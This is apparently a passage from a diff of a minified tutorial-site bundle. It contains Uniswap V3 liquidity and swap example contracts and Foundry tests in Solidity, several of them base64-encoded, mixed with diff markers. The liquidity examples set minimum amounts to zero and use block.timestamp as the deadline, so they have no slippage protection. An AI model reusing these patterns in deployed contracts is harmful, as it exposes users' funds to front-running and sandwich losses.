0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],Ab=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
+`,Ib=({prev:s,next:a})=>r.jsx(A,{version:ob,title:rb,description:ib,html:hb,prev:s,next:a,codes:gb}),db="0.8.24",Cb="Uniswap V3 Liquidity Examples",jb="Uniswap V3 liquidity examples",Ab=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],ub=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6624,7 +6624,7 @@ IERC20 constant PAIR Uniswap V3
                    
 
                    Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,yb=({prev:s,next:a})=>r.jsx(u,{version:db,title:Cb,description:jb,html:Ab,prev:s,next:a,codes:ub}),mb="0.8.24",bb="Uniswap V3 Swap Examples",wb="Uniswap V3 swap examples",kb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKCiAgICBzdHJ1Y3QgRXhhY3RPdXRwdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heGltdW07CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXQoRXhhY3RPdXRwdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc